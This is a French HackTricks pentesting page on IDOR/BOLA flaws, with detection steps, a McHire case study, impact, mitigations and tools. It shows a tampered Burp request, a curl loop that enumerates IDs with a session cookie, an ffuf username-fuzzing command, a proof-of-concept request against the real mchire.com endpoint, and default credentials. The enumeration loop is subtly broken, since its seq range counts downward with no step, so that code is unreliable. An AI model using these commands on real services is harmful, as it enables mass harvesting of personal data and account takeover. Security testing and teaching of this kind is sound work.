IDOR (Insecure Direct Object Reference)

Reading time: 6 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) apparaĂźt lorsqu’un endpoint web ou API divulgue ou accepte un identifiant contrĂŽlable par l’utilisateur qui est utilisĂ© directement pour accĂ©der Ă  un objet interne sans vĂ©rifier que l’appelant est autorisĂ© Ă  accĂ©der/modifier cet objet. L’exploitation rĂ©ussie permet gĂ©nĂ©ralement une horizontal or vertical privilege-escalation, comme la lecture ou la modification des donnĂ©es d’autres utilisateurs et, dans le pire des cas, un full account takeover ou une mass-data exfiltration.


1. Identifier les IDOR potentiels

  1. Cherchez des paramÚtres qui référencent un objet :
  • Path: /api/user/1234, /files/550e8400-e29b-41d4-a716-446655440000
  • Query: ?id=42, ?invoice=2024-00001
  • Body / JSON: {"user_id": 321, "order_id": 987}
  • Headers / Cookies: X-Client-ID: 4711
  1. Privilégiez les endpoints qui lisent ou mettent à jour des données (GET, PUT, PATCH, DELETE).
  2. Notez quand les identifiants sont sĂ©quentiels ou prĂ©dictibles – si votre ID est 64185742, alors 64185741 existe probablement.
  3. Explorez les flux cachés ou alternatifs (par ex. le lien "Paradox team members" sur les pages de login) qui peuvent exposer des APIs supplémentaires.
  4. Utilisez une session authentifiĂ©e avec peu de privilĂšges et ne changez que l’ID en gardant le mĂȘme token/cookie. L’absence d’une erreur d’autorisation est gĂ©nĂ©ralement un signe d’IDOR.

Quick manual tampering (Burp Repeater)

PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}

ÉnumĂ©ration automatisĂ©e (Burp Intruder / curl loop)

bash
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done

Oracle de réponses d'erreur pour l'énumération utilisateur/fichier

Lorsqu'un endpoint de téléchargement accepte à la fois un username et un filename (par ex. /view.php?username=<u>&file=<f>), de subtiles différences dans les messages d'erreur créent souvent un oracle :

  • username inexistant → "User not found"
  • filename invalide mais extension valide → "File does not exist" (parfois liste aussi les fichiers disponibles)
  • extension invalide → erreur de validation

Avec n'importe quelle session authentifiée, vous pouvez fuzz le paramÚtre username tout en conservant un filename bénin et filtrer sur la chaßne "User not found" pour découvrir des utilisateurs valides :

bash
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'

Une fois que des noms d'utilisateur valides sont identifiés, demandez directement des fichiers spécifiques (p. ex., /view.php?username=amanda&file=privacy.odt). Ce schéma conduit fréquemment à la divulgation non autorisée des documents d'autres utilisateurs et à credential leakage.


2. Real-World Case Study – McHire Chatbot Platform (2025)

Lors d'une évaluation du portail de recrutement McHire propulsé par Paradox.ai, l'IDOR suivant a été découvert :

  • Endpoint: PUT /api/lead/cem-xhr
  • Authorization: user session cookie for any restaurant test account
  • Body parameter: {"lead_id": N} – identifiant numĂ©rique sĂ©quentiel de 8 chiffres

En diminuant lead_id, le testeur a rĂ©cupĂ©rĂ© la full PII de candidats arbitraires (nom, e-mail, tĂ©lĂ©phone, adresse, prĂ©fĂ©rences d'horaires) ainsi qu'un consumer JWT qui a permis le session hijacking. L'Ă©numĂ©ration de la plage 1 – 64,185,742 a exposĂ© environ 64 millions d'enregistrements.

Proof-of-Concept request:

bash
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'

Combinée avec les identifiants admin par défaut (123456:123456) qui donnaient accÚs au compte de test, la vulnérabilité a entraßné une fuite de données critique à l'échelle de l'entreprise.


3. Impact d'IDOR / BOLA

  • Escalade horizontale – lire/mettre Ă  jour/supprimer les donnĂ©es d'autres utilisateurs.
  • Escalade verticale – un utilisateur peu privilĂ©giĂ© obtient des fonctionnalitĂ©s rĂ©servĂ©es aux administrateurs.
  • Fuite massive de donnĂ©es si les identifiants sont sĂ©quentiels (p. ex., IDs de candidats, factures).
  • Prise de compte en volant des tokens ou en rĂ©initialisant les mots de passe d'autres utilisateurs.

4. Atténuations & bonnes pratiques

  1. Appliquer une autorisation au niveau des objets sur chaque requĂȘte (user_id == session.user).
  2. Privilégier des identifiants indirects et non devinables (UUIDv4, ULID) au lieu des IDs auto-incrémentés.
  3. Effectuer l'autorisation cÎté serveur, ne jamais se fier aux champs de formulaire cachés ou aux contrÎles UI.
  4. Implémenter les vérifications RBAC / ABAC dans un middleware central.
  5. Ajouter du rate-limiting & logging pour détecter l'énumération d'IDs.
  6. Tester la sécurité de chaque nouvel endpoint (unit, integration, et DAST).

5. Tooling

  • BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
  • OWASP ZAP: Auth Matrix, Forced Browse.
  • Github projects: bwapp-idor-scanner, Blindy (bulk IDOR hunting).

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks